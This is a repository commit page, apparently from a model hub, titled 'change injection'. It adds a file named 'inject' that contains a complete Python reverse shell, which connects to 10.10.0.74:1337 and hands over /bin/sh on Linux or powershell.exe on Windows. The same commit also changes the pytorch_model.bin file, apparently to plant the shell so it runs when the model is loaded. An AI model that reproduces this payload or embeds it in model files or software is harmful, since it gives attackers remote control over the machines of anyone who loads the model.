altfreq commited on
Commit
8d006d8
1 Parent(s): 7617f8c

change injection

Browse files
Files changed (2) hide show
  1. inject +53 -0
  2. pytorch_model.bin +2 -2
inject ADDED
@@ -0,0 +1,53 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ RHOST = "10.10.0.74"
2
+ RPORT = 1337
3
+
4
+ from sys import platform
5
+
6
+ if platform != 'win32':
7
+ import threading
8
+ import socket
9
+ import pty
10
+ import os
11
+
12
+ def connect_and_spawn_shell():
13
+ s = socket.socket()
14
+ s.connect((RHOST, RPORT))
15
+ [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
16
+ pty.spawn("/bin/sh")
17
+
18
+ threading.Thread(target=connect_and_spawn_shell).start()
19
+ else:
20
+ import os
21
+ import socket
22
+ import subprocess
23
+ import threading
24
+ import sys
25
+
26
+ def send_to_process(s, p):
27
+ while True:
28
+ p.stdin.write(s.recv(1024).decode())
29
+ p.stdin.flush()
30
+
31
+ def receive_from_process(s, p):
32
+ while True:
33
+ s.send(p.stdout.read(1).encode())
34
+
35
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
36
+
37
+ while True:
38
+ try:
39
+ s.connect((RHOST, RPORT))
40
+ break
41
+ except:
42
+ pass
43
+
44
+ p = subprocess.Popen(["powershell.exe"],
45
+ stdout=subprocess.PIPE,
46
+ stderr=subprocess.STDOUT,
47
+ stdin=subprocess.PIPE,
48
+ shell=True,
49
+ text=True)
50
+
51
+ threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()
52
+ threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()
53
+ p.wait()
pytorch_model.bin CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:2bb42f9efc3dba50ea6064d4a8672ccb275c6e968a0b578981972f1bbe16a70a
3
- size 37149
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:92acfb317c184588553e0a838ace365d678c4c5289e42cffd1f264f75093b8df
3
+ size 38442